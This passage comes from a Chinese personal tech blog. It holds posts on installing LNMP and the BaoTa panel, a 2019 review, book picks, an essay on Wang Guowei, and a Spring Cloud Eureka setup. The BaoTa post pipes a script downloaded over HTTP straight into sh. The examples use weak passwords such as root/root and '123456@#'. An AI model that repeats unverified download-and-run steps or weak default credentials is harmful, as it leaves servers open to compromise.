class="line">./install</span><br></pre></td></tr></table></figure><p>执行上面的命令后按照要求输入数据库密码、选择数据库的类型(提供 mysql 和 mariadb ) 以及 PHP 的版本即可进行编译安装。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">root@centos:~/lnmp1.4-full# ./install.sh</span><br><span class="line"></span><br><span class="line">+------------------------------------------------------------------------+</span><br><span class="line">|          LNMP V1.4 for Ubuntu Linux Server, Written by Licess          |</span><br><span class="line">+------------------------------------------------------------------------+</span><br><span class="line">|        A tool to auto-compile &amp; install LNMP/LNMPA/LAMP on Linux       |</span><br><span class="line">+------------------------------------------------------------------------+</span><br><span class="line">|           For more information please visit https://lnmp.org           |</span><br><span class="line">+------------------------------------------------------------------------+</span><br><span class="line">You have 5 options for your DataBase install.</span><br><span class="line">1: Install MySQL 5.1.73</span><br><span class="line">2: Install MySQL 5.5.56 (Default)</span><br><span class="line">3: Install MySQL 5.6.36</span><br><span class="line">4: Install MySQL 5.7.18</span><br><span class="line">5: Install MariaDB 5.5.56</span><br><span class="line">6: Install MariaDB 10.0.30</span><br><span class="line">7: Install MariaDB 10.1.23</span><br><span class="line">0: DO NOT Install MySQL/MariaDB</span><br><span class="line">Enter your choice (1, 2, 3, 4, 5, 6, 7 or 0): 7 # 选择数据库，部分版本的数据库需要内存大于2G</span><br><span class="line">You will install MariaDB 10.1.23</span><br><span class="line">===========================</span><br><span class="line">Please setup root password of MySQL.(Default password: root) # 设置mysql root 密码</span><br><span class="line">Please enter: 123456@#</span><br><span class="line">MySQL root password: 123456@#</span><br><span class="line">===========================</span><br><span class="line">Do you want to enable or disable the InnoDB Storage Engine? # 是否安装 InnoDB 引擎</span><br><span class="line">Default enable,Enter your choice [Y/n]: y</span><br><span class="line">You will enable the InnoDB Storage Engine</span><br><span class="line">===========================</span><br><span class="line">You have 6 options for your PHP install. # 选择 PHP 版本</span><br><span class="line">1: Install PHP 5.2.17</span><br><span class="line">2: Install PHP 5.3.29</span><br><span class="line">3: Install PHP 5.4.45</span><br><span class="line">4: Install PHP 5.5.38 (Default)</span><br><span class="line">5: Install PHP 5.6.31</span><br><span class="line">6: Install PHP 7.0.21</span><br><span class="line">7: Install PHP 7.1.7</span><br><span class="line">Enter your choice (1, 2, 3, 4, 5, 6 or 7): 7</span><br><span class="line">You will install PHP 7.1.7</span><br><span class="line">===========================</span><br><span class="line">You have 3 options for your Memory Allocator install.</span><br><span class="line">1: Don&#x27;t install Memory Allocator. (Default)</span><br><span class="line">2: Install Jemalloc</span><br><span class="line">3: Install TCMalloc</span><br><span class="line">Enter your choice (1, 2 or 3): 2</span><br><span class="line">You will install JeMalloc</span><br><span class="line"></span><br><span class="line">Press any key to install...or Press Ctrl+c to cancel # 按任意键继续安装</span><br></pre></td></tr></table></figure><p>在安装过程中如果你开启了 screen 则可以关闭会话，编译大约需要30分钟左右，如希望查看安装进度，可以再次连接服务器，执行</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">screen -r lnmp</span><br></pre></td></tr></table></figure><p>查看该会话。</p><p>安装完毕会提示类似如下的信息</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">State      Recv-Q Send-Q Local Address:Port               Peer Address:Port</span><br><span class="line">LISTEN     0      128          *:80                       *:*</span><br><span class="line">LISTEN     0      128          *:22                       *:*</span><br><span class="line">LISTEN     0      128         :::22                      :::*</span><br><span class="line">LISTEN     0      128         :::3306                    :::*</span><br><span class="line">Install lnmp takes 59 minutes.</span><br><span class="line">Install lnmp V1.4 completed! enjoy it.</span><br></pre></td></tr></table></figure><p>程序会自动开放80 3306端口</p>]]></content>
      
      
      
        <tags>
            
            <tag> 服务器环境 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>2019总结</title>
      <link href="/2019/12/30/2019-zong-jie/"/>
      <url>/2019/12/30/2019-zong-jie/</url>
      
        <content type="html"><![CDATA[<p><img src="https://note.youdao.com/yws/public/resource/634e73a4b1678da03a11a7867217a79f/xmlnote/FF2A2CFF3B244F76BB67EFE3F8EFAF0A/4572" alt=""></p><h3 id="1-总体感受"><a href="#1-总体感受" class="headerlink" title="1. 总体感受"></a>1. 总体感受</h3><p>又到年终，在 2019 年最后一天，回顾今年，仿佛是转眼之间的事。时间像是有加速度，过得越来越快。无法追赶时间，只能写下年终总结，记录今年的痕迹。今年总体来说过得比较平稳，在日常的生活和学习中，开始注重知识、技能的沉淀。有通过读书学习的输入，也有通过 Blog 作为知识的输出。对人生、工作、管理、技术有了更多的思考。</p><pre><code>今年的关键词：平稳，沉淀，输出。</code></pre><h3 id="2-成果与感悟"><a href="#2-成果与感悟" class="headerlink" title="2. 成果与感悟"></a>2. 成果与感悟</h3><p>今年主要划分为三个阶段，年初根据项目需要，进行数据集成平台开发， 技术进行博客编写。完成了大部分书籍的阅读。</p><h4 id="2-1-成果"><a href="#2-1-成果" class="headerlink" title="2.1 成果"></a>2.1 成果</h4><p>主要从两方面总结一下成果：</p><ul><li><p>学习输入</p><ul><li>阅读 10 本编程技术类书籍、15 本科普类书籍、8 本经管励志类书籍、17 本人文类书籍。对此，我写了一篇《2019 读过的好书推荐》进行总结。</li><li>对 Spring Boot 及 Spring Cloud 有更深入的使用和理解。</li><li>对开发规范，敏捷开发流程进行了学习与实践应用。</li></ul></li><li><p>技术输出</p><ul><li>开始用心经营自己的博客及公众号。并输出技术文章 30 篇，在各平台进行发布。</li><li>编写 spring boot 及 java 的相关开发技巧文章，同时也是自己使用过程中的总结</li><li>开源了自己的一个部署配置工具<h4 id="2-2-感悟"><a href="#2-2-感悟" class="headerlink" title="2.2 感悟"></a>2.2 感悟</h4>今年有做管理、也有开发，有学习，也有思考，同时有相应的输出，以下几点是我觉得值得记录的点：</li></ul></li><li><p><strong>费曼学习技巧-有效掌握知识</strong></p></li></ul><p>如何可以更好更快的掌握知识，费曼技巧是好办法，这是我一年来写 blog 得出的结论。以教促学，是学习一门知识的好办法。今年通过博客的形式，达到以教促学的效果，倒逼自己对知识点的系统学习，然后以自己的语言写在 blog 中，并通过示例代码的形式进行实践，加深知识的理解。这样，可以对知识点掌握得更牢固，理解得更深刻。</p><ul><li><strong>写作-自我进阶的高效方法</strong></li></ul><p>写作是自我进阶的高效方法，这是在看了粥左罗的《学会写作》得出的结论，结合自己的写 blog 体验，得到了很好的契合。确实如作者所说，写作是倒逼成长的绝佳方法，写作是学习效果的放大器，写作是个人能力的放大器，写作是重复销售自己的时间，写作是抗攻击性最强的技能。</p><p>进化-构建复杂系统的思维方法<br>进化的思维，是读了《生命是什么》和《从一到无穷大》之后的感悟。生命的形成从能量、物质到细胞膜、分工、感觉、学习等一步步进步而成为了复杂的生命体，而地球、太阳系、银河系、宇宙，从小到大，中子、电子、原子核到大爆炸理论，无一不是由小模块慢慢进化形成系统，进而形成复杂的系统。落实到计算机领域，同样也体现了这种进化的规律。最底层是 0 和 1 表示，进而是机器语言、高级语言，我们现在基于高级语言开发的软件系统就是这样而来。在软件系统开发中，也遵循着模块化，松耦合，高内聚的特征。复杂的系统不是一下子就开发出来的，而是在进化中形成。</p><ul><li><strong>规范-技术管理效率之道</strong></li></ul><p>在野蛮生长阶段，人少，沟通成本低，一切以功能实现为主要任务，往往无规范可言。但当人员多了之后，没有规范，就会产生明显的沟通成本高，流程不清晰、效率低下的情况，这个时候，规范化的软件开发流程，则是提高效率的必要手段。因此从开发工具、开发环境的统一、到软件模块划分、编码规范、版本管理规范，代码审核需要有统一规范。而与产品的沟通，则需要使用项目管理工具（例如禅道）把产品 、开发、测试、项目经理在统一的流程中进行，避免无效沟通和流程混乱，提高开发效率。</p><h3 id="3-明年展望"><a href="#3-明年展望" class="headerlink" title="3. 明年展望"></a>3. 明年展望</h3><pre><code>新的一年有新的期望。首先希望家人平安，健康，快乐。</code></pre><p>进一步培养自己对知识的输入，思考然后进行知识沉淀、输出的能力，在输出过程去完善自己的知识、语言、习惯体系，自己提供价值。继续坚持写 blog，形成系统化的知识。进一步学习与应用，在架构、大数据及人工智能方面有更深的理解。持续阅读学习与思考，更清晰地认知这个世界。</p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>2019好书推荐</title>
      <link href="/2019/12/04/2019-hao-shu-tui-jian/"/>
      <url>/2019/12/04/2019-hao-shu-tui-jian/</url>
      
        <content type="html"><![CDATA[<h3><font face="仿宋" size="6" color="green">1.引言</font></h3><p>2019 年即将过去，每年都会有个习惯把回顾一下读过的书，并把觉得比较好的书列成书单。今年也读了不少书，读的书比较杂，大部分是在微信读书上完成，有些书让人受益匪浅，下面是推荐列表，主要分几类，IT 技术类，科普知识类，经管励志类和人文社科类。</p><h3><font face="仿宋" size="6" color="green">2. 推荐书籍列表</font></h3><!--<font face="黑体">我是黑体字</font>--><!--<font face="仿宋">我是微软雅黑</font>--><!--<font face="STCAIYUN">我是华文彩云</font>--><!--<font color=#0099ff size=7 face="黑体">color=#0099ff size=72 face="黑体"</font>--><!--<font color=#00ffff size=72>color=#00ffff</font>--><!--<font color=gray size=72>color=gray</font>--><h3><font face="仿宋" size="4" color="green">2.1 IT 技术类</font></h3><h3><font face="仿宋" size="4" color="green">《深入浅出 Spring Boot 2.x》</font></h3><blockquote><ul><li>作者：杨开振，丰富 java<br>互联网开发经验的开发者，编写了多本 java 开发相关书籍</li><li>推荐理由：这是一本讲述如何使用 Spring Boot 2.x 进行编程开发的技术书籍，全书围绕 Spring Boot 进行讲解，并且提供编程示例，示例简单易懂，而且作者确实是有相当丰富的开发经验，文章语言流畅，既讲到编程技术也对其中的原理有较好的描述，让读者知其然也知其所以然。其中重点对 Spring MVC 的使用进行了大篇幅的讲解，比较透彻。通过此书，基本对 Spring Boot 的 Web 开发有了整体了解，作为入门级的 Spring Boot 学习书籍，值得一读。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《面向程序员的数据挖掘指南》</font></h3><blockquote><ul><li>==作者：Ron Zacharski[1]==</li><li>推荐理由：这是一本开源书籍，用于学习基本的数据挖掘知识，强调实战，采用“边学边做”的方式编写，根据实例使用 python 脚本来学习数据挖掘技术，从而可以对推荐系统，过滤、相似度计算，分类，聚类，贝叶斯分类等知识有一定的了解。</li><li>书籍地址：<a href="https://dataminingguide.books.yourtion.com/">https://dataminingguide.books.yourtion.com/</a></li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《企业 IT 架构转型之道：阿里巴巴中台战略思想与架构实战》</font></h3><blockquote><ul><li>作者：钟华（花名：古谦），阿里巴巴中间件首席架构师</li><li>推荐理由：这本书从阿里巴巴启动中台战略说起，详细阐述共享服务体系如何给企业的业务发展提供了支持。对于中台战略，作者对抽取通用服务，共享服务，厚中台，瘦前端的思想，实际中遇到的问题及解决方案，进行了详细描述，有图，有技术思想，有案例，对企业的技术架构有比较好借鉴作用，特别是还处于烟囱式开发的 IT 企业。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《Spring Batch 批处理框架》</font></h3><blockquote><ul><li>作者：刘相，普元软件 SOA 主任架构师</li><li>推荐理由：Spring Batch 是一个清晰、优雅的批处理框架，系统的中文资料较少，这本书属于少见的一本。书中全面、系统介绍了 Spring Batch 批处理框架，以实例的形式对 Spring Batch 基本组件进行介绍，通过这本书，可以理解 Spring Batch 的设计思想及基本使用。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">2.2 科普类</font></h3><h3><font face="仿宋" size="4" color="green">《文明之光》</font></h3><blockquote><ul><li>作者：吴军，计算机科学家，投资人，NLP 及搜索专家</li><li>推荐理由：吴军老师的书籍质量都很高，包括《浪潮之巅》《智能时代》《数学之美》《全球科技通史》，都是很值得一读，增长了多见识。文明之光以独特的视角讲述各时代文明，包括历史、政治、科技、艺术。语言通俗易懂，知识丰富有趣，收获良多。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《生命是什么》</font></h3><blockquote><ul><li>作者：王立铭</li><li>推荐理由：书中围绕生命是什么为主题，从演化的角度描述生命的起源和发展。从灵魂论开始探索，然后描述能量，物质，自我复制是生命的基础，进而细胞膜，分工，感觉，学习，社交，自我意识，自由意志的演化发展，语言简洁易懂，很好的科普读物。个人觉得，这本书对读者的意义在于，一是知道我们从哪里来，开眼看世界。第二就是懂得用演化发展的眼光看事物。</li></ul></blockquote><p>==作者在一席上有一个演讲《星际远航中的生物学》[2]==</p><h3><font face="仿宋" size="4" color="green">《从一到无穷大》</font></h3><blockquote><ul><li>作者：乔治·伽莫夫</li><li>推荐理由：很好的科普书，涵盖了无穷数，时间与空间，微观世界的微粒子，宏观世界的太阳，星系，宇宙，与书名很相符，从一到无穷大。书中涉及的数学，物理，化学，生物知识，相对来讲已经是比较通俗的了。不过惭愧，还是有些地方没有理解，找时间得再读一遍。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《物理大咖李淼作品集》</font></h3><p>包含：《三体中的物理学》，《给孩子讲时间简史》，《给孩子讲量子力学》，《给孩子讲宇宙》，《给孩子计相对论》</p><blockquote><ul><li>作者：李淼，中山大学天文与空间科学研究院院长。</li><li>推荐理由：李老师真的是深入浅出，书中讲述着物理学家的故事，结合现实的简单实例，把深奥的物理知识讲得通俗易懂。让人扩展知识，加深了对世界的认识！</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">2.3 经管励志类</font></h3><h3><font face="仿宋" size="4" color="green">《软技能：代码之外生存指南》</font></h3><blockquote><ul><li>作者：John Z. Sonmez；王小刚（译）</li><li>推荐理由：这是一本真正从“人”（而非技术也非管理）的角度关注软件开发人员自身发展的书。从揭秘面试的流程到精耕细作出一份杀手级简历，从创建大受欢迎的博客到打造你的个人品牌，从提高自己工作效率到如何与“拖延症”做斗争，甚至包括如何投资不动产，如何关注自己的健康。其中，将自己当作一个企业来思考，给了我很大的触动。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《斜杠青年：如何开启你的多重身份》</font></h3><blockquote><ul><li>作者：Susan Kuang，Linkedin 专栏作者，自媒体人。</li><li>推荐理由：不错的一本励志书，书中涵盖了很多主题，包括工作选择，效率，时间管理，积极心理，健康等等。作者主张按自己想要的方式去生活，去工作，而不必受外界影响。当然，前提是自己要有能力。跟《软技能》有异曲同工之妙，都提倡写作，逐渐形成自己的品牌，扩大影响力，吸纳粉丝，慢慢就可以实现自己的价值。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《见识》</font></h3><blockquote><ul><li>作者：吴军，计算机科学家，投资人，NLP 及搜索专家</li><li>推荐理由：吴军老师认为，与其他外部资源或者个人因素相比，个人的成就首先取决于“见识”。书中提供一个与众不同的、值得深度思考的看待世界、看待问题的视角。内容是作者在得到的音频课程中的汇总整理，内容丰富，是个人成长，扩展知识面的好书。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《程序员的成长课》</font></h3><blockquote><ul><li>作者：安晓辉，资深开发者,拥有十余年开发与管理经验</li><li>推荐理由：作者以过来人的身份，娓娓道来，围绕程序员的成长，从技术方向选择，技术精进，技术管理，转型，跳槽，简历，薪水等方面进行详细描述，同时提供了可行的执行方法。建议程序员都应该读一下。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《学会写作：自我进阶的高效方法》</font></h3><blockquote><ul><li>作者：粥左罗，90 后，知名公众号“粥左罗”创始人，向上生长创始人，三年写作 300 万字。</li><li>推荐理由：作者的经验之谈，对写作做了全面分析，从写作目的作用，选题，写标题，结构，素材到传播，变现，语言精辟，结构清晰，学到东西。写作技巧没有捷径，要多写多练，结合作者的建议实践，才能不断进步。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">2.4 人文社科类</font></h3><h3><font face="仿宋" size="4" color="green">《变量》</font></h3><blockquote><ul><li>作者：何帆，经济学者，北京大学汇丰商学院教授，兼任熵一资本首席经济学家。</li><li>推荐理由：作者以细致的镜头把中国 2018 发生的故事描述的的很有深度。独特的写作风格，理性的经济分析，高超的概括总结能力，都显示何帆老师的功力。大变量，小趋势，希望中国越来越好！</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《今日简史》</font></h3><blockquote><ul><li>作者：尤瓦尔•赫拉利，畅销书《人类简史》《未来简史》作者，牛津大学历史学博士，耶路撒冷希伯来大学教授，全球瞩目的新锐历史学家。</li><li>推荐理由：“简史三部曲”收官之作《今日简史》推出，将目光聚焦到当下，直面今天关乎我们每个人命运的问题和挑战。人工智能和生物技术正在颠覆原有的社会结构和分配方式，数据成为最重要的资源。面对这些技术，关乎人类命运的种种议题，我们何去何从。写作手法很流畅，想象力丰富但又不失逻辑，看起来让人脑洞大开。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《简读中国史:世界史坐标下的中国》</font></h3><blockquote><ul><li>作者：张宏杰，复旦大学历史学博士，清华大学博士后，现供职于中国人民大学历史学院。著有《曾国藩的正面与侧面》《大明王朝的七张面孔》《中国国民性演变历程》等。</li><li>推荐理由：以中国历史为主线，世界历史为比较对比资料，讲述了历史更替的影响因素（社会，文化，地理等等）。也刷新了我不少的历史认知，如大一统的秦朝的利与弊，为何如此短命；如鸦片战争，对中国卫生发展有着如此重要作用。书中用“长时间，远距离，宽视野”的解读方式，全方位呈现中国历史治乱循环背后的内在逻辑与外在动因。</li></ul></blockquote><h3><font face="仿宋" size="4" color="green">《重说中国近代史》</font></h3><blockquote><ul><li>作者：张鸣：中国人民大学政治学系教授、博士生导师，有多部中国历史著作。</li><li>推荐理由：书中把近代史，应该是晚清到五四运动的时期，看此书前，需要对这段历史的事件了解，书中描述的内容并不是对历史事件发生过程的描述，而是这些事件的另一面知识，比如原因，状态，花边。对于知识扩展还是有好处的</li></ul></blockquote><p>参考资料</p><p>[1]<br>Ron Zacharski: <a href="http://zacharski.org/">http://zacharski.org/</a></p><p>[2]<br>《星际远航中的生物学》: <a href="https://yixi.tv/speech/218">https://yixi.tv/speech/218</a></p>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>人生三境界</title>
      <link href="/2019/07/30/ren-sheng-san-jing-jie/"/>
      <url>/2019/07/30/ren-sheng-san-jing-jie/</url>
      
        <content type="html"><![CDATA[<h3 id="治学三境界"><a href="#治学三境界" class="headerlink" title="治学三境界"></a>治学三境界</h3><p>​    [王国维]在《人间词话》中说：古今之成大事业、大学问者，必经过三种之境界： “昨夜西风凋碧树，独上高楼，望尽天涯路。” 此第一境也。 “ [衣带渐宽终不悔]，为伊消得人憔悴。” 此第二境也。 “ [众里寻他千百度]，[蓦然回首]，那人却在，[灯火阑珊处]。”此第三境也。</p><p>​    [王国维]在《[人间词话]》说：“古今之成大事业、大学问者，必经过三种之境界：‘昨夜西风凋碧树。独上高楼，望尽天涯路’。此第一境也。‘[衣带渐宽终不悔]，为伊消得人憔悴。’此第二境也。‘[众里寻他千百度]，蓦然回首，那人却在，灯火阑珊处’。此第三境也。”闲来无事，玩索大学问家之妙语，击节赞叹之余，心忽有所得：治学有三此境界，喝酒与灌水岂不亦有三此境界？试论之。 王国维认为治学第一境界：“昨夜西风凋碧树。独上高楼，望尽天涯路”，这词句出[晏殊]的《[蝶恋花]》，原意是说，“我”上高楼眺望所见的更为[萧飒]的秋景，西风黄叶，山阔水长，案书[何达]？在王国维此句中解成，做学问成大事业者，首先要有执着的追求，登高望远，瞰察路径，明确目标与方向，了解事物的概貌。这自然是借题发挥，以小见大。那如果按[原词]解，这几句是情感堆积、蕴酿期，是对下文“望尽天涯路”一种铺垫。</p><p>​    [王国维]认为治学第二境界是说：“衣带渐宽终不悔，为伊消得人憔悴。”这引用的是北宋[柳永]《凤栖梧》又名《蝶恋花》最后两句词，原词是表现作者对爱的艰辛和爱的无悔。若把“伊”字理解为词人所追求的理想和毕生从事的事业，亦无不可。王国维则别有用心，以此两句来比喻成大事业、大学问者，不是轻而易举，随便可得的，必须坚定不移，经过一番辛勤劳动，废寝忘食，孜孜以求，直至人瘦带宽也不后悔。这当然又是王国维的高明之处。</p><p>​    王国维认为治学第三境界是说：“众里寻他千百度，蓦然回首，那人却在，灯火阑珊处。”是引用南宋[辛弃疾]《青玉案·元夕》词中的最后四句。)称此词“自怜幽独，伤心人别有怀抱”。这是借词喻事，与文学赏析已无交涉。[王国维]已先自表明，“吾人可以无劳纠葛”。他以此词最后的四句为“境界”之第三，即最终最高境界。这虽不是辛弃疾的原意，但也可以引出悠悠的远意，做学问、成大事业者，要达到第三境界，必须有专注的精神，反复追寻、研究，下足功夫，自然会豁然贯通，有所发现，有所发明，就能够从[必然王国]进入[自由王国]。能引伸这个方面来，王国维的高明自为必说。</p><h2 id="三境界"><a href="#三境界" class="headerlink" title="三境界"></a>三境界</h2><h3 id="第一境界"><a href="#第一境界" class="headerlink" title="第一境界"></a>第一境界</h3><p>“昨夜西风凋碧树，独上高楼，望尽天涯路。”</p><p>（1） 萧瑟的秋风中，游子登高望远，怀念亲人，见不到又音信难通，就如一名学者刚开始在学问时那种对知识的惆怅迷惘的心情跃然纸上。</p><p>（2） 作为一个做学问者，首先要高瞻远瞩认清前人所走的路，也就是说，总结和学习前人的经验是做学问的起点。</p><p>此句选自——宋·[晏殊]【蝶恋花】槛菊愁烟兰泣露。罗幕轻寒，燕子双飞去。[明月])不谙别离苦，斜光到晓穿[朱户]。 昨夜西风凋碧树。独上高楼，望尽天涯路。欲寄彩笺兼尺素，山长水阔知何处。</p><h3 id="第二境界"><a href="#第二境界" class="headerlink" title="第二境界"></a>第二境界</h3><p>“衣带渐宽终不悔，为伊消得人憔悴。”</p><p>（1）沉溺于热恋中的情人对爱情的执着，人消瘦了，但决不后悔。就如学者在追求知识的过程中所表现出一种认定了目标就呕心沥血孜孜以求的执着精神。</p><p>（2）作为一名做学问者，应深思熟虑，就像热恋中的情人那样热切、不惜一切的追求自己的目标。</p><p>此句选自——宋·[柳永]【凤栖梧】伫倚危楼风细细。望极春愁，黯黯生天际。草色烟光残照里。无言谁会凭栏意。 拟把疏狂图一醉，[对酒当歌]，强乐还无味。衣带渐宽终不悔，为伊消得人憔悴。</p><h3 id="第三境界"><a href="#第三境界" class="headerlink" title="第三境界"></a>第三境界</h3><p>“众里寻他千百度，蓦然回首，那人却在灯火阑珊处。”</p><p>（1） 没有千百度的上下求索，不会有瞬间的顿悟和理解。</p><p>（2） 作为一个做学问者，只有在学习和苦苦钻研的基础上，才能够[功到自然成]，一朝顿悟，发前人所未发之秘，辟前人所未辟之境。</p><p>此句选自——宋·[辛弃疾]【青玉案】东风夜放花千树。更吹落、星如雨。[宝马雕车])香满路，凤箫声动，玉壶光转，一夜鱼龙舞。 [蛾儿])雪柳黄金缕。笑语盈盈暗香去。众里寻它千百度。蓦然回首，那人却在，灯火阑珊处。</p>]]></content>
      
      
      <categories>
          
          <category> 名言 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 名言 </tag>
            
            <tag> 感悟 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CentOS安装宝塔</title>
      <link href="/2019/06/24/centos-an-zhuang-bao-ta/"/>
      <url>/2019/06/24/centos-an-zhuang-bao-ta/</url>
      
        <content type="html"><![CDATA[<p>1.安装可视化面板</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">yum install -y wget &amp;&amp; wget -O install.sh http://download.bt.cn/install/install.sh &amp;&amp; sh install.sh</span><br></pre></td></tr></table></figure><p>注意：代码没有换行！如出错，尝试在下面复制，或先复制到记事本删除换行再粘贴到终端。<br>yum install -y wget &amp;&amp; wget -O install.sh <a href="http://download.bt.cn/install/install.sh">http://download.bt.cn/install/install.sh</a> &amp;&amp; sh install.sh</p><p>输入命令后，系统自动下载安装环境，然后输入 y 进行确认。 然后等待约1-5分钟<br><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/3FBD6FCD15154A6D8151658F4868B63E/4485" alt=""><br>如无意外，最后会出现如下类似内容</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Bt-Panel: http://111.230.15.237:8888</span><br><span class="line">username: *******</span><br><span class="line">password: *******</span><br><span class="line">Warning:</span><br><span class="line">If you cannot access the panel,</span><br><span class="line">release the following port (8888|888|80|443|20|21) in the security group</span><br></pre></td></tr></table></figure><p>系统自动生成账号密码，<br>username 项为账号，<br>pwssword 为密码。<br>请保存好你的账号密码。</p><p>2.启动面板与管理</p><ul><li>启动面板</li></ul><p>控制面板支持：</p><p>一键配置服务器环境（ LAMP / LNMP ）</p><p>一键安全重启</p><p>一键创建管理网站、ftp、数据库</p><p>一键配置（定期备份、数据导入、伪静态、301、SSL、子目录、反向代理、切换 PHP 版本）</p><p>数据库一键导入导出</p><p>系统监控（ CPU、内存、磁盘IO、网络IO ）</p><p>防火墙端口放行</p><p>SSH 开启与关闭及 SSH 端口更改<br>…</p><p>请复制以下命令到终端 ,然后稍等</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">service bt restart</span><br></pre></td></tr></table></figure><ul><li>访问面板<br>控制面板地址端口为 8888 ，<br>你的控制面板地址为 <a href="http://123.207.230.231:8888">http://123.207.230.231:8888</a></li></ul><p>请复制链接到新窗口打开</p><ul><li>添加站点</li></ul><p>在控制面板中，点击左侧导航栏的 网站 一项，添加网站。 域名： 填你的ip 123.207.230.231<br>备注： test<br>根目录：/www/wwwroot/test<br>FTP 、 数据库 两项中，账号密码都填 test<br>点击 提交 即可</p>]]></content>
      
      
      <categories>
          
          <category> 服务器 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> 宝塔 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java分布式的创建</title>
      <link href="/2019/04/08/java-fen-bu-shi-de-chuang-jian/"/>
      <url>/2019/04/08/java-fen-bu-shi-de-chuang-jian/</url>
      
        <content type="html"><![CDATA[<h2 id="注册中心的创建"><a href="#注册中心的创建" class="headerlink" title="注册中心的创建"></a>注册中心的创建</h2><p>1、建立注册中心(EurekaServer)，需要引入依赖。<br>Spring Cloud Discovery –&gt; Eureka Server</p><p>2、在项目src–&gt;main–&gt;java–&gt;com.XXX.XXXXX–&gt;找到EurekaServerApplication(项目名字+Application)<br>中的类方法上加@EnableEurekaServer注解。</p><p>3、找到项目中的application.properties，在其中加入以下语句：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">#端口号设置</span><br><span class="line">server.port=8080</span><br><span class="line">#注册中心服务记录地址</span><br><span class="line">eureka.client.service-url.defaultZone=http://localhost:8080/eureka</span><br><span class="line">#记录注册信息(记名字)</span><br><span class="line">eureka.client.fetch-registry=false</span><br><span class="line">#服务注册到注册中心</span><br><span class="line">eureka.client.register-with-eureka=false#端口号设置</span><br><span class="line">server.port=8080</span><br><span class="line">#注册中心服务记录地址</span><br><span class="line">eureka.client.service-url.defaultZone=http://localhost:8080/eureka</span><br><span class="line">#记录注册信息(记名字)</span><br><span class="line">eureka.client.fetch-registry=false</span><br><span class="line">#服务注册到注册中心</span><br><span class="line">eureka.client.register-with-eureka=false</span><br></pre></td></tr></table></figure><h2 id="注册中心创建完毕"><a href="#注册中心创建完毕" class="headerlink" title="注册中心创建完毕"></a>注册中心创建完毕</h2><p><strong>生产者的建立</strong></p><p>1、建立生产者(producer),需要引入依赖。<br>Web–&gt; Spring Web<br>SQL–&gt; JDBC API , MyBatis Framework , MySQL Driver<br>Spring Cloud Discovery–&gt; Eureka Discovery Client</p><p>2、在项目src–&gt;main–&gt;java–&gt;com.XXX.XXXXX–&gt;找到MyproviderApplication(项目名字+Application)<br>在类方法上加@EnableEurekaClient注解</p><p>3、找到项目中的application.properties，在其中加入以下语句：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">#设置端口号</span><br><span class="line">server.port=8081</span><br><span class="line"># 数据库连接属性</span><br><span class="line">spring.datasource.username=root</span><br><span class="line">spring.datasource.password=root</span><br><span class="line">spring.datasource.url=jdbc:mysql://localhost:3306/test(数据库名字)?serverTimezone=UTC(时区)</span><br><span class="line">spring.datasource.driver-class-name=com.mysql.jdbc.Driver</span><br><span class="line"># 给实体类起别名</span><br><span class="line">mybatis.type-aliases-package=com.example.demo.bean</span><br><span class="line"># 扫描mapper文件</span><br><span class="line">mybatis.mapper-locations=classpath:mapper/*.xml</span><br><span class="line">#给项目起名字</span><br><span class="line">spring.application.name=myprovider</span><br><span class="line">#注册项目</span><br><span class="line">eureka.client.service-url.defaultZone=http://localhost:8080/eureka</span><br></pre></td></tr></table></figure><p>PS：如需一个对象为参数则需要@RequestBody注解，如果是其他数据类型则需要添加@RequestParam(“XXX”)注解，</p><p>PS:XXX就是参数的名字</p><h2 id="消费者的建立"><a href="#消费者的建立" class="headerlink" title="消费者的建立"></a>消费者的建立</h2><p>1、建立消费者(consumer),需要引入依赖。<br>Web–&gt; Spring Web<br>Template Engines–&gt; Thymeleaf<br>Spring Cloud Discovery–&gt; Eureka Discovery Client<br>Spring Cloud Routing–&gt;OpenFeign</p><p>2、在项目src–&gt;main–&gt;java–&gt;com.XXX.XXXXX–&gt;找到MyconsumerApplication(项目名字+Application)<br>在类方法上加@EnableEurekaClient,@EnableFeignClients这两个注解</p><p>3、找到项目中的application.properties，在其中加入以下语句：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">#设置端口号</span><br><span class="line">server.port=8082</span><br><span class="line">#给项目起名字</span><br><span class="line">spring.application.name=myconsumer</span><br><span class="line">#注册项目</span><br><span 